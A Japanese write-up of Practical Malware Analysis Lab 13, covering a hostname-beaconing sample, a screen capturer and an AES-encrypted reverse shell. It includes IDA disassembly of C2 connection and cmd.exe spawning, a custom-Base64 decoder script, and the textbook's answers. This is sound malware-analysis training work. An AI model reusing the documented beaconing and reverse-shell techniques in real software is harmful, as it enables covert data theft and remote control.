PracticalMalwareAnalysis-Labs13 WriteUp

Practical Malware Analysis (by Michael Sikorski and Andrew Honig) Lab13のWriteUp。
まずは自分の解答を載せて、最後に模範解答を載せる。不正解の解答も戒めとしてそのまま載せる事とする。
ラボはこちらからダウンロード可能。

Lab 13-1

解析対象のファイルは以下の通り。

ファイル名ファイルの種類MD5ハッシュ値
Lab13-01.exe32ビット EXEA9A2734D080E3AE0F5ADA35E878DA7C8

1. Compare the strings in the malware (from the output of the strings command) with the information available via dynamic analysis. Based on this comparison, which elements might be encoded?

stringsより、以下の文字列が目を引いた。

000050E8  ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
00006030  Mozilla/4.0
0000603C  http://%s/%s/
00007064  KIZXORXZWVZWLZI^ZUZWBHRH
  • ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/はBase64エンコードの兆候と思われる。
  • Mozilla/4.0http://%s/%s/はマルウェアによるHTTP通信を示唆している。ファイルのインポート関数にもInternetOpenAやInternetOPenUrlAなどのネットワーク通信に関連する関数が見受けられた。
  • KIZXORXZWVZWLZI^ZUZWBHRHは暗号化されたデータ、もしくは復号鍵に関連するデータと思われる。

マルウェアを実行したところ、以下のHTTP通信を生成した。

GET /dXNlci1QQw==/ HTTP/1.1
User-Agent: Mozilla/4.0
Host: www.practicalmalwareanalysis[.]com

通信先のwww.practicalmalwareanalysis[.]comはstringsの結果には現れなかったので、何らかの暗号化・難読化を施された状態でマルウェアに記述されているものと思われる。ユーザーエージェントのMozilla/4.0は先述の通り平文でマルウェアにハードコードされていた。URLパスのdXNlci1QQw==はBase64エンコードされており、デコードするとuser-PCという文字列になる。これは自分の解析用のマシンのホスト名と一致する。

このことから、マルウェアは感染させたマシンのホスト名をBase64エンコードしてURLに埋め込み、www.practicalmalwareanalysis[.]comというドメインにHTTPで送信することが判明した。

2. Use IDA Pro to look for potential encoding by searching for the string xor. What type of encoding do you find?

サブルーチン0x401190にて以下のXOR命令を発見した。

.text:004011AE 8B 55 08                mov     edx, [ebp+arg_0]
.text:004011B1 03 55 FC                add     edx, [ebp+var_4]
.text:004011B4 33 C0                   xor     eax, eax
.text:004011B6 8A 02                   mov     al, [edx]
.text:004011B8 83 F0 3B                xor     eax, 3Bh
.text:004011BB 8B 4D 08                mov     ecx, [ebp+arg_0]
.text:004011BE 03 4D FC                add     ecx, [ebp+var_4]
.text:004011C1 88 01                   mov     [ecx], al
.text:004011C3 EB D8                   jmp     short loc_40119D

3. What is the key used for encoding and what content does it encode?

XOR鍵は0x3B。ファイルのリソースセクションに埋め込まれているペイロードをXORデコードするのに使う。リソースセクションをデコードするとwww.practicalmalwareanalysis[.]comというドメイン名が現れる。

.text:00401392                         loc_401392:
.text:00401392 8B 45 EC                mov     eax, [ebp+hResData]
.text:00401395 50                      push    eax             ; hResData
.text:00401396 FF 15 00 50 40 00       call    ds:LockResource
.text:0040139C 89 45 F0                mov     [ebp+var_10], eax
.text:0040139F 8B 4D D8                mov     ecx, [ebp+dwBytes]
.text:004013A2 51                      push    ecx
.text:004013A3 8B 55 F0                mov     edx, [ebp+var_10]
.text:004013A6 52                      push    edx
.text:004013A7 E8 E4 FD FF FF          call    XOR_3B_401190   ; decodes the string "www.practicalmalwareanalysis.com"
.text:004013AC 83 C4 08                add     esp, 8
.text:004013AF 8B 45 F0                mov     eax, [ebp+var_10]
.text:004013B2 EB 35                   jmp     short loc_4013E9

4. Use the static tools FindCrypt2, Krypto ANALyzer (KANAL), and the IDA Entropy Plugin to identify any other encoding mechanism. What do you find?

PEiDのプラグインからKANALを走らせたところ、Base64エンコードの兆候が見受けられた。

5. What type of encoding is used for a portion of the network traffic sent by the malware?

問1で回答したとおり、マルウェアは感染させたマシンのホスト名をBase64エンコードしてURLに埋め込み、www.practicalmalwareanalysis[.]comというドメインにHTTPで送信する。

6. Where is the Base64 function in the disassembly?

Base64エンコードの処理はサブルーチン0x4010B1の中で呼び出されている。

.text:004011F5 68 00 01 00 00          push    100h            ; namelen
.text:004011FA 8D 95 B0 FE FF FF       lea     edx, [ebp+name]
.text:00401200 52                      push    edx             ; name
.text:00401201 E8 64 02 00 00          call    gethostname
.text:00401206 89 45 FC                mov     [ebp+var_4], eax
.text:00401209 6A 0C                   push    0Ch
.text:0040120B 8D 85 B0 FE FF FF       lea     eax, [ebp+name]
.text:00401211 50                      push    eax
.text:00401212 8D 4D E8                lea     ecx, [ebp+var_18]
.text:00401215 51                      push    ecx
.text:00401216 E8 E5 02 00 00          call    sub_401500
.text:0040121B 83 C4 0C                add     esp, 0Ch
.text:0040121E C6 45 F4 00             mov     [ebp+var_C], 0
.text:00401222 8D 55 D0                lea     edx, [ebp+var_30]
.text:00401225 52                      push    edx             
.text:00401226 8D 45 E8                lea     eax, [ebp+var_18]
.text:00401229 50                      push    eax              ; hostname
.text:0040122A E8 82 FE FF FF          call    Base64encode_4010B1

サブルーチン0x4010B1の中で呼び出されているサブルーチン0x401000がBase64エンコードの処理を行う。

.text:00401141 8B 4D E4                mov     ecx, [ebp+var_1C]
.text:00401144 51                      push    ecx
.text:00401145 8D 55 F4                lea     edx, [ebp+var_C]
.text:00401148 52                      push    edx
.text:00401149 8D 45 F0                lea     eax, [ebp+var_10]
.text:0040114C 50                      push    eax
.text:0040114D E8 AE FE FF FF          call    Base64_401000
.text:00401152 83 C4 0C                add     esp, 0Ch
.text:00401155 C7 45 EC 00 00 00 00    mov     [ebp+var_14], 0
.text:0040115C EB 09                   jmp     short loc_401167

以下はサブルーチン0x401000にブレークポイントをセットしてデバッグした時の様子。

EAXに"use"という文字列が格納され、サブルーチン0x401000に引数として渡されている。

サブルーチン0x401000をステップオーバー実行してEAXの値をダンプしてみると"dXNl"という文字列が確認出来た。これは"use"がBase64エンコードされたことを示している。

$ echo -n "use" | base64
dXNl

さらに補足するとサブルーチン0x401000の中では以下のバイト・データが参照されている。

0000000000401011 8A 81 E8 50 40 00       mov     al, ds:byte_4050E8[ecx]

アドレス0x4050E8にはABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/というデータが格納されているが、これはBase64の変換テーブルと一致する。

7. What is the maximum length of the Base64-encoded data that is sent?

送信されるBase64エンコード・データのサイズは最大12バイト。まずgethostnameを呼び出してホスト名を取得する。

.text:004011F5 68 00 01 00 00          push    100h            ; namelen
.text:004011FA 8D 95 B0 FE FF FF       lea     edx, [ebp+name]
.text:00401200 52                      push    edx             ; name
.text:00401201 E8 64 02 00 00          call    gethostname

次に取得したホスト名をサブルーチン0x401500に渡す。

.text:00401209 6A 0C                   push    12
.text:0040120B 8D 85 B0 FE FF FF       lea     eax, [ebp+name]
.text:00401211 50                      push    eax
.text:00401212 8D 4D E8                lea     ecx, [ebp+var_18]
.text:00401215 51                      push    ecx
.text:00401216 E8 E5 02 00 00          call    copy_401500     ; copy first 12byte of hostname to var_18
.text:0040121B 83 C4 0C                add     esp, 0Ch
.text:0040121E C6 45 F4 00             mov     [ebp+var_C], 0
.text:00401222 8D 55 D0                lea     edx, [ebp+var_30]
.text:00401225 52                      push    edx
.text:00401226 8D 45 E8                lea     eax, [ebp+var_18]
.text:00401229 50                      push    eax             ; hostname
.text:0040122A E8 82 FE FF FF          call    Base64encode_4010B1

サブルーチン0x401500はgethostnameで取得したホスト名の先頭12バイトを新たなバッファにコピーする。コピーされたホスト名はサブルーチン0x4010B1に渡されてBase64エンコードされる。

8. In this malware, would you ever see the padding characters (= or ==) in the Base64-encoded data?

問1でマルウェアの挙動を調べた際にパディングを確認した。

GET /dXNlci1QQw==/ HTTP/1.1
User-Agent: Mozilla/4.0
Host: www.practicalmalwareanalysis[.]com

サブルーチン0x401000 (Base64エンコード関数)の中にもパディングに関する命令が記述されていた。

.text:00401077                         loc_401077:
.text:00401077 C6 45 FF 3D             mov     [ebp+var_1], 3Dh
.text:004010A0                         loc_4010A0:
.text:004010A0 C6 45 FE 3D             mov     [ebp+var_2], 3Dh

9. What does this malware do?

このマルウェアは感染させたマシンのホスト名の先頭12バイトをBase64エンコードしてURLに埋め込み、www.practicalmalwareanalysis[.]comというドメインにHTTPで送信する。この時、Mozilla/4.0というハードコードされたユーザーエージェントを使う。ドメイン名はリソースセクションにXORエンコードされた状態で埋め込まれており、HTTP通信をする際に0x3Bという鍵を用いてドメイン名をXORデコードする。

Lab 13-2

解析対象のファイルは以下の通り。

ファイル名ファイルの種類MD5ハッシュ値
Lab13-02.exe32ビット EXEB65C4D7CBC4069DDBFF665370201E588

1. Using dynamic analysis, determine what this malware creates.

マルウェアを実行したところ、カレントディレクトリにtemp<random hex>というファイルが作成された。

作成されたファイルは何らかの暗号化が施されている。

ファイルのハッシュ値もそれぞれ異なる。

2. Use static techniques such as an xor search, FindCrypt2, KANAL, and the IDA Entropy Plugin to look for potential encoding. What do you find?

PEiDのプラグインからKANALを走らせたが暗号化アルゴリズムは検知されなかった。作成された暗号化ファイルにCyberChefのXOR Brute Forceを走らせたが、目ぼしい結果は得られなかった。

3. Based on your answer to question 1, which imported function would be a good prospect for finding the encoding function?

CreateFileAやWriteFileが呼び出される直前にファイルの内容を暗号化する処理が呼び出されるものと思われる。よって、これらの関数の前後の処理を精査すれば暗号化処理の詳細が判明するはずである。

4. Where is the encoding function in the disassembly?

まずCreateFileAやWriteFileが呼び出されている箇所を特定する。サブルーチン0x401000の中でこれらの関数が呼び出されているのが判明した。サブルーチン0x401000の直前の処理は以下の通り。

.text:00401878 8B 55 F8                mov     edx, [ebp+nNumberOfBytesToWrite]
.text:0040187B 52                      push    edx
.text:0040187C 8B 45 F4                mov     eax, [ebp+hMem]
.text:0040187F 50                      push    eax
.text:00401880 E8 9A FF FF FF          call    Encoding_40181F
.text:00401885 83 C4 08                add     esp, 8
.text:00401888 FF 15 38 60 40 00       call    ds:GetTickCount ; the value will be appended to filename
.text:0040188E 89 45 FC                mov     [ebp+var_4], eax
.text:00401891 8B 4D FC                mov     ecx, [ebp+var_4]
.text:00401894 51                      push    ecx
.text:00401895 68 30 70 40 00          push    offset aTemp08x ; "temp%08x"
.text:0040189A 8D 95 F4 FD FF FF       lea     edx, [ebp+FileName]
.text:004018A0 52                      push    edx
.text:004018A1 E8 42 04 00 00          call    ConcatStrings_401CE8
.text:004018A6 83 C4 0C                add     esp, 0Ch
.text:004018A9 8D 85 F4 FD FF FF       lea     eax, [ebp+FileName]
.text:004018AF 50                      push    eax             ; lpFileName
.text:004018B0 8B 4D F8                mov     ecx, [ebp+nNumberOfBytesToWrite]
.text:004018B3 51                      push    ecx             ; nNumberOfBytesToWrite
.text:004018B4 8B 55 F4                mov     edx, [ebp+hMem]
.text:004018B7 52                      push    edx             ; lpBuffer
.text:004018B8 E8 43 F7 FF FF          call    CreateWriteFile_401000

サブルーチン0x401CE8 はファイル名を生成する関数である。GetTickCountでシステムの経過時間を取得して、tempという文字列に連結させて、ファイル名として使用する。

GetTickCountの直前にサブルーチン0x40181Fが呼び出されている。このサブルーチンの戻り値がサブルーチン0x401000に渡され、最終的にtemp<random hex>というファイルに暗号化されたデータが書き込まれる。

よってサブルーチン0x40181Fの中で暗号化処理が呼び出されているものと思われる。

5. Trace from the encoding function to the source of the encoded content. What is the content?

暗号化のサブルーチン0x40181Fの直前にサブルーチン0x401070が呼び出されている。このサブルーチンはウィンドウやデスクトップ画面 (GetDesktopWindow、GetDC)の情報を取得してビットマップに描画する。よって、このマルウェアはユーザーマシンのウィンドウやデスクトップ画面のキャプチャを撮り、暗号化を施した上でtemp<random hex>というファイルに保存する。

.text:0040185A C7 45 F4 00 00 00 00    mov     [ebp+hMem], 0
.text:00401861 C7 45 F8 00 00 00 00    mov     [ebp+nNumberOfBytesToWrite], 0
.text:00401868 8D 45 F8                lea     eax, [ebp+nNumberOfBytesToWrite]
.text:0040186B 50                      push    eax
.text:0040186C 8D 4D F4                lea     ecx, [ebp+hMem]
.text:0040186F 51                      push    ecx
.text:00401870 E8 FB F7 FF FF          call    ScreenCapture_401070
.text:00401875 83 C4 08                add     esp, 8
.text:00401878 8B 55 F8                mov     edx, [ebp+nNumberOfBytesToWrite]
.text:0040187B 52                      push    edx
.text:0040187C 8B 45 F4                mov     eax, [ebp+hMem]
.text:0040187F 50                      push    eax
.text:00401880 E8 9A FF FF FF          call    Encoding_40181F
.text:00401070 55                      push    ebp
.text:00401071 8B EC                   mov     ebp, esp
.text:00401073 83 EC 78                sub     esp, 78h
.text:00401076 C7 45 B4 00 00 00 00    mov     [ebp+hdc], 0
.text:0040107D 6A 00                   push    0               ; nIndex
.text:0040107F FF 15 F0 60 40 00       call    ds:GetSystemMetrics
.text:00401085 89 45 E4                mov     [ebp+var_1C], eax
.text:00401088 6A 01                   push    1               ; nIndex
.text:0040108A FF 15 F0 60 40 00       call    ds:GetSystemMetrics
.text:00401090 89 45 FC                mov     [ebp+cy], eax
.text:00401093 FF 15 E4 60 40 00       call    ds:GetDesktopWindow
.text:00401099 A3 CC 78 40 00          mov     hWnd, eax
.text:0040109E A1 CC 78 40 00          mov     eax, hWnd
.text:004010A3 50                      push    eax             ; hWnd
.text:004010A4 FF 15 E8 60 40 00       call    ds:GetDC
.text:004010AA A3 C8 78 40 00          mov     hDC, eax
.text:004010AF 8B 0D C8 78 40 00       mov     ecx, hDC
.text:004010B5 51                      push    ecx             ; hdc
.text:004010B6 FF 15 1C 60 40 00       call    ds:CreateCompatibleDC
.text:004010BC 89 45 B4                mov     [ebp+hdc], eax
.text:004010BF 8B 55 FC                mov     edx, [ebp+cy]
.text:004010C2 52                      push    edx             ; cy
.text:004010C3 8B 45 E4                mov     eax, [ebp+var_1C]
.text:004010C6 50                      push    eax             ; cx
.text:004010C7 8B 0D C8 78 40 00       mov     ecx, hDC
.text:004010CD 51                      push    ecx             ; hdc
.text:004010CE FF 15 00 60 40 00       call    ds:CreateCompatibleBitmap

6. Can you find the algorithm used for encoding? If not, how can you decode the content?

サブルーチン0x40181Fの中では更にサブルーチン0x401739が呼び出されており、キャプチャ画面の内容に対してビット演算を行い、暗号化を施している。サブルーチン0x401739の中では煩雑なビット演算が行われており、暗号化アルゴリズムの特定は出来なかった。

ただし、もし使用されている暗号化方式が共通鍵暗号方式だと仮定した場合、暗号化処理の引数に暗号化されたファイルのデータを渡せばファイルの内容を復号出来るものと思われる。

7. Using instrumentation, can you recover the original source of one of the encoded files?

以下の方法で暗号化されたファイルを復号した。

まずCyberChefで暗号化ファイルを16進数形式に変換してクリップボードにコピーする。
続いて、x32dbgでサブルーチン0x40181Fの呼び出し部分にブレークポイントをセットして、EAXレジスタの値をコピーした暗号化ファイルの内容に書き換える。
※ EAXレジスタの書き換え方については、こちらの記事メモリ・ダンプ画面の値の書き換えの項を参照。
※コピーペーストの完了まで数分ほど要した。おそらくVMのメモリが不足していたためと思われる。

EAXレジスタの書き換えが完了したらステップオーバー実行して処理を進める。

新たにtemp00a7d4fdというファイルが作成された。

ファイルのヘッダーを確認したところ、ビットマップ形式のファイルであることが確認できた。

ファイルを開いたところ、解析用マシンのデスクトップ画面のスクリーンショットであることが確認できた。

Lab 13-3

解析対象のファイルは以下の通り。

ファイル名ファイルの種類MD5ハッシュ値
Lab13-03.exe32ビット EXE98EA0FE0594F0F373D9791886A01DB8C

1. Compare the output of strings with the information available via dynamic analysis. Based on this comparison, which elements might be encoded?

stringsを走らせたところ、以下の文字列が目を引いた。

000120A4  CDEFGHIJKLMNOPQRSTUVWXYZABcdefghijklmnopqrstuvwxyzab0123456789+/
000121BC  cmd.exe
00012208  ijklmnopqrstuvwx
0001221C  www.practicalmalwareanalysis.com
  • CDEFGHIJKLMNOPQRSTUVWXYZABcdefghijklmnopqrstuvwxyzab0123456789+/はBase64エンコードの兆候と思われる。
  • cmd.exeはマルウェアがコマンドプロンプトを立ち上げることを示唆している。
  • ijklmnopqrstuvwxは何らかの暗号化されたデータか、もしくは復号鍵と推察される。
  • www.practicalmalwareanalysis[.]comはマルウェアが通信するサーバーのドメイン名と思われる。

マルウェアを実行したところ、cmd.exeが生成されてコマンドプロンプトのウィンドウが立ち上がった。

またドメイン名www.practicalmalwareanalysis[.]comのDNS問い合わせクエリーを送っていた。

www.practicalmalwareanalysis[.]comが名前解決されると、宛先ポート番号8910に対してTCPのコネクションを張っていた。

www.practicalmalwareanalysis[.]comcmd.exeも暗号化されずにマルウェアにハードコードされていた。
この時点ではマルウェアがどんなデータを暗号化しているのか判断できなかった。

2. Use static analysis to look for potential encoding by searching for the string xor. What type of encoding do you find?

IDAでxorという文字を検索(View -> Open subviews -> Strings)したところ、無数のXOR命令が見つかった。

以下はその一部を抜粋したもの。

.text:004021DC 8B 0C 95 08 EB 40 00    mov     ecx, ds:dword_40EB08[edx*4]
.text:004021E3 33 0C 85 08 EF 40 00    xor     ecx, ds:dword_40EF08[eax*4]
.text:004021EA 8B 55 E0                mov     edx, [ebp+var_20]
.text:004021ED C1 FA 08                sar     edx, 8
.text:004021F0 81 E2 FF 00 00 00       and     edx, 0FFh
.text:004021F6 33 0C 95 08 F3 40 00    xor     ecx, ds:dword_40F308[edx*4]
.text:004021FD 8B 45 E0                mov     eax, [ebp+var_20]
.text:00402200 25 FF 00 00 00          and     eax, 0FFh
.text:00402205 33 0C 85 08 F7 40 00    xor     ecx, ds:dword_40F708[eax*4]

以下のサブルーチンに不審なXOR命令が記述されていた。

  • 0x401AC2
  • 0x40223A
  • 0x4027ED
  • 0x402DA8
  • 0x403166

3. Use static tools like FindCrypt2, KANAL, and the IDA Entropy Plugin to identify any other encoding mechanisms. How do these findings compare with the XOR findings?

PEiDのプラグインからKANALを走らせたところ、AES(Rijndael)暗号の兆候が見受けられた。

AESは暗号化の過程でXOR演算を行う。問2で発見したXOR命令はAES暗号化処理に関連すると思われる。

また、IDAでの解析を進めたところ、サブルーチン0x40103Fの中にBase64エンコードに関連すると思われる命令を発見した。

.text:0040105B 8B 4D FC                mov     ecx, [ebp+var_4]
.text:0040105E 0F BE 91 A4 20 41 00    movsx   edx, byte_4120A4[ecx]
.text:00401065 3B 55 08                cmp     edx, [ebp+arg_0]
.text:00401068 75 02                   jnz     short loc_40106C

アドレス0x4120A4には以下のデータが格納されている。これはカスタムのBase64変換テーブルと思われる。(ABとabが冒頭ではなく末尾にある)

  • CDEFGHIJKLMNOPQRSTUVWXYZABcdefghijklmnopqrstuvwxyzab0123456789+/

4. Which two encoding techniques are used in this malware?

AES暗号とカスタムのBase64エンコードが使用されている。

5. For each encoding technique, what is the key?

カスタムのBase64エンコードは変換テーブル CDEFGHIJKLMNOPQRSTUVWXYZABcdefghijklmnopqrstuvwxyzab0123456789+/ を用いればデコードできる。
自分の解析環境でマルウェアを実行した際はBase64エンコードに関連する挙動は見受けられなかった。

AES暗号に関してはijklmnopqrstuvwxが復号鍵もしくはIV (Initialization Vector)と思われる。

6. For the cryptographic encryption algorithm, is the key sufficient? What else must be known?

AES暗号・復号の処理について完全には解析できなかった。自分の解析で判明した点は以下の通り。

  • AES暗号化の処理はサブルーチン0x401AC2で規定されている。
  • 暗号化の際に使用されるSボックス (換字表)は0x637C777BF26B6FC53001672BFED7AB76CA82C97DFA5947F0ADD4A2AF9CA472C0B7FD9326363FF7CC34A5E5F171D8311504C723C31896059A071280E2EB27B27509832C1A1B6E5AA0523BD6B329E32F8453D100ED20FCB15B6ACBBE394A4C58CFD0EFAAFB434D338545F9027F503C9FA851A3408F929D38F5BCB6DA2110FFF3D2CD0C13EC5F974417C4A77E3D645D197360814FDC222A908846EEB814DE5E0BDBE0323A0A4906245CC2D3AC629195E479E7C8376D8DD54EA96C56F4EA657AAE08BA78252E1CA6B4C6E8DD741F4BBD8B8A703EB5664803F60E613557B986C11D9EE1F8981169D98E949B1E87E9CE5528DF8CA1890DBFE6426841992D0FB054BB16。アドレス0x40C908に格納されている。
  • ijklmnopqrstuvwxはIVと思われる。
  • AES復号の処理はサブルーチン0x4027EDと0x403166で規定されている。
  • 復号の際に使用されるInverse Sボックスは0x52096AD53036A538BF40A39E81F3D7FB7CE339829B2FFF87348E4344C4DEE9CB547B9432A6C2233DEE4C950B42FAC34E082EA16628D924B2765BA2496D8BD12572F8F66486689816D4A45CCC5D65B6926C704850FDEDB9DA5E154657A78D9D8490D8AB008CBCD30AF7E45805B8B34506D02C1E8FCA3F0F02C1AFBD0301138A6B3A9111414F67DCEA97F2CFCEF0B4E67396AC7422E7AD3585E2F937E81C75DF6E47F11A711D29C5896FB7620EAA18BE1BFC563E4BC6D279209ADBC0FE78CD5AF41FDDA8338807C731B11210592780EC5F60517FA919B54A0D2DE57A9F93C99CEFA0E03B4DAE2AF5B0C8EBBB3C83539961172B047EBA77D626E169146355210C7D。アドレス0x40CA08に格納されている。

どのようなデータが暗号化・復号化されるのかという肝心なところが分からなかった。

7. What does this malware do?

このマルウェアは最初にC2サーバー www.practicalmalwareanalysis[.]comとTCPコネクションを確立する。この際に使用されるポート番号は8910である。

.text:004018C5                         loc_4018C5:             ; dwFlags
.text:004018C5 6A 00                   push    0
.text:004018C7 6A 00                   push    0               ; g
.text:004018C9 6A 00                   push    0               ; lpProtocolInfo
.text:004018CB 6A 06                   push    6               ; protocol
.text:004018CD 6A 01                   push    1               ; type
.text:004018CF 6A 02                   push    2               ; af
.text:004018D1 FF 15 F8 C0 40 00       call    ds:WSASocketA
.text:004018D7 89 85 54 FE FF FF       mov     [ebp+s], eax
.text:004018DD 83 BD 54 FE FF FF FF    cmp     [ebp+s], 0FFFFFFFFh
.text:004018E4 75 0A                   jnz     short loc_4018F0
.text:004018F0 68 1C 22 41 00          push    offset name     ; "www.practicalmalwareanalysis.com"
.text:004018F5 FF 15 F4 C0 40 00       call    ds:gethostbyname
.text:004018FB 89 85 68 FE FF FF       mov     [ebp+var_198], eax
.text:00401901 83 BD 68 FE FF FF 00    cmp     [ebp+var_198], 0
.text:00401908 75 0A                   jnz     short loc_401914
.text:00401914 8B 8D 68 FE FF FF       mov     ecx, [ebp+var_198]
.text:0040191A 8B 51 0C                mov     edx, [ecx+0Ch]
.text:0040191D 8B 02                   mov     eax, [edx]
.text:0040191F 8B 08                   mov     ecx, [eax]
.text:00401921 89 8D 5C FE FF FF       mov     dword ptr [ebp+name.sa_data+2], ecx
.text:00401927 68 CE 22 00 00          push    8910            ; hostshort
.text:0040192C FF 15 EC C0 40 00       call    ds:htons
.text:00401932 66 89 85 5A FE FF FF    mov     word ptr [ebp+name.sa_data], ax
.text:00401939 66 C7 85 58 FE FF FF 02+mov     [ebp+name.sa_family], 2
.text:00401942 6A 10                   push    10h             ; namelen
.text:00401944 8D 95 58 FE FF FF       lea     edx, [ebp+name]
.text:0040194A 52                      push    edx             ; name
.text:0040194B 8B 85 54 FE FF FF       mov     eax, [ebp+s]
.text:00401951 50                      push    eax             ; s
.text:00401952 FF 15 F0 C0 40 00       call    ds:connect
.text:00401958 89 85 6C FE FF FF       mov     [ebp+var_194], eax
.text:0040195E 83 BD 6C FE FF FF FF    cmp     [ebp+var_194], 0FFFFFFFFh
.text:00401965 75 07                   jnz     short loc_40196E

C2サーバー www.practicalmalwareanalysis[.]comとの通信が確立すると、マルウェアはcmd.exe (コマンドプロンプト)を立ち上げてC2サーバーからのコマンドを待ち受ける。C2サーバーからのコマンドはカスタムBase64エンコードされている。(変換テーブル CDEFGHIJKLMNOPQRSTUVWXYZABcdefghijklmnopqrstuvwxyzab0123456789+/ )

.text:00401760 51                      push    ecx             ; lpProcessInformation
.text:00401761 8D 95 54 FF FF FF       lea     edx, [ebp+StartupInfo]
.text:00401767 52                      push    edx             ; lpStartupInfo
.text:00401768 6A 00                   push    0               ; lpCurrentDirectory
.text:0040176A 6A 00                   push    0               ; lpEnvironment
.text:0040176C 6A 00                   push    0               ; dwCreationFlags
.text:0040176E 6A 01                   push    1               ; bInheritHandles
.text:00401770 6A 00                   push    0               ; lpThreadAttributes
.text:00401772 6A 00                   push    0               ; lpProcessAttributes
.text:00401774 68 BC 21 41 00          push    offset CommandLine ; "cmd.exe"
.text:00401779 6A 00                   push    0               ; lpApplicationName
.text:0040177B FF 15 2C C0 40 00       call    ds:CreateProcessA
.text:00401781 89 45 CC                mov     [ebp+var_34], eax
.text:00401784 8B 45 F0                mov     eax, [ebp+ProcessInformation.hProcess]
.text:00401787 A3 6C 33 41 00          mov     dword_41336C, eax
.text:0040178C 8B 4D B8                mov     ecx, [ebp+hWritePipe]
.text:0040178F 51                      push    ecx             ; hObject
.text:00401790 FF 15 30 C0 40 00       call    ds:CloseHandle
.text:00401796 85 C0                   test    eax, eax
.text:00401798 75 0D                   jnz     short loc_4017A7
.text:004017DD 8B 4D 18                mov     ecx, [ebp+arg_10]
.text:004017E0 89 4D 98                mov     [ebp+Parameter], ecx
.text:004017E3 8B 55 B4                mov     edx, [ebp+var_4C]
.text:004017E6 89 55 9C                mov     [ebp+var_64], edx
.text:004017E9 A1 6C 33 41 00          mov     eax, dword_41336C
.text:004017EE 89 45 A0                mov     [ebp+var_60], eax
.text:004017F1 8D 8D 50 FF FF FF       lea     ecx, [ebp+ThreadId]
.text:004017F7 51                      push    ecx             ; lpThreadId
.text:004017F8 6A 00                   push    0               ; dwCreationFlags
.text:004017FA 8D 55 98                lea     edx, [ebp+Parameter]
.text:004017FD 52                      push    edx             ; lpParameter
.text:004017FE 68 7C 14 40 00          push    offset StartAddress_CustomBase64 ; lpStartAddress, pointer to custom Base64 function
.text:00401803 6A 00                   push    0               ; dwStackSize
.text:00401805 6A 00                   push    0               ; lpThreadAttributes
.text:00401807 FF 15 28 C0 40 00       call    ds:CreateThread ; create a thread to call custom Base64 function which decodes C2 server command
.text:0040180D 89 45 EC                mov     [ebp+var_14], eax
.text:00401810 83 7D EC 00             cmp     [ebp+var_14], 0
.text:00401814 75 0D                   jnz     short loc_401823

AES暗号化・復号化に関しては、どのようなデータが暗号化・復号化されるのかという肝心なところが分からなかった。

8. Create code to decrypt some of the content produced during dynamic analysis. What is the content?

カスタムBase64エンコードに関しては以下の自作スクリプトの-tオプションに変換テーブルCDEFGHIJKLMNOPQRSTUVWXYZABcdefghijklmnopqrstuvwxyzab0123456789+/を引数として渡せばデコードできる。

#!/usr/bin/python
# This is a simple script to decode / encode custom base64
# Fill the "CUSTOM_ALPHABET" with custom base64 table

'''
# Standard table
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
'''

import string
import base64
import argparse

STANDARD_ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

#ENCODE_TRANS = string.maketrans(STANDARD_ALPHABET, CUSTOM_ALPHABET)
#DECODE_TRANS = string.maketrans(CUSTOM_ALPHABET, STANDARD_ALPHABET)

parser = argparse.ArgumentParser(description="Decode or encode custom base64")
parser.add_argument("-s", "--string", action="store", help="String to encode / decode", dest="STRING")
parser.add_argument("-d", "--decode", action="store_true", help="Decode the string", dest="DECODE")
parser.add_argument("-e", "--encode", action="store_true", help="Encode the string", dest="ENCODE")
parser.add_argument("-t", "--table", action="store", help="Table for custom base64", dest="TABLE")

args = parser.parse_args()

if args.DECODE and args.TABLE and not args.ENCODE:
	CUSTOM_ALPHABET = args.TABLE
	DECODE_TRANS = string.maketrans(CUSTOM_ALPHABET, STANDARD_ALPHABET)
	print(base64.b64decode(args.STRING.translate(DECODE_TRANS)))
elif args.ENCODE and args.TABLE and not args.DECODE:
	CUSTOM_ALPHABET = args.TABLE
	ENCODE_TRANS = string.maketrans(STANDARD_ALPHABET, CUSTOM_ALPHABET)
	print(base64.b64encode(args.STRING.translate(ENCODE_TRANS)))
else:
	parser.print_help()

「動的解析時にマルウェアによって作成されたコンテンツを復号するコードを書け」という設問については、自分の解析環境ではマルウェアによる作成物が見当たらなかったため割愛。

模範解答

Lab 13-1

1. Two strings appear in the beacon that are not present in the malware. (When the strings command is run, the strings are not output.) One is the domain www.practicalmalwareanalysis.com. The other is the GET request path, which may look something like aG9zdG5hbWUtZm9v.

2. The xor instruction at 004011B8 leads to a single-byte XOR-encoding loop in sub_401190.

3. The single-byte XOR encoding uses the byte 0x3B. The raw data resource with index 101 is an XOR-encoded buffer that decodes to www.practicalmalwareanalysis.com.

4. The PEiD KANAL plug-in and the IDA Entropy Plugin can identify the use of the standard Base64 encoding string:

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

5. Standard Base64 encoding is used to create the GET request string.

6. The Base64 encoding function starts at 0x004010B1.

7. Lab13-01.exe copies a maximum of 12 bytes from the hostname before Base64 encoding it, which makes the GET request string a maximum of 16 characters.

8. Padding characters may be used if the hostname length is less than 12 bytes and not evenly divided by 3.

9. Lab13-01.exe sends a regular beacon with an encoded hostname until it receives a specific response. Then it quits.

Lab 13-2

1. Lab13-02.exe creates large, seemingly random files in its current directory with names that start with temp and end with eight hexadecimal digits that vary for each file.

2. The XOR search techniques identifies potential encoding-related functions at sub_401570 and sub_401739. The other three techniques suggested find nothing.

3. The encoding functions might be found just before the call to WriteFile.

4. The encoding functions is sub_40181F.

5. The source content is a screen capture.

6. The algorithm is nonstandard and not easily determined, so the easiest way to decode traffic is via instrumentation.

7. See the detailed analysis for how to recover the original source of an encoded file.

Lab 13-3

1. Dynamic analysis might reveal some random-looking content that maybe encoded. There are no recognizable strings in the program output, so nothing else suggests encoding.

2. Searching for xor instructions reveals six separate functions that maybe associated with encoding, but the type of encoding is not immediately clear.

3. All three techniques identify the Advanced Encryption Standard (AES) algorithm (Rijndael algorithm), which is associated with all six of the XOR functions identified. The IDA Entropy Plugin also identifies a custom Base64 indexing string, which shows no evidence of association with xor instructions.

4. The malware uses AES and custom Base64 cipher.

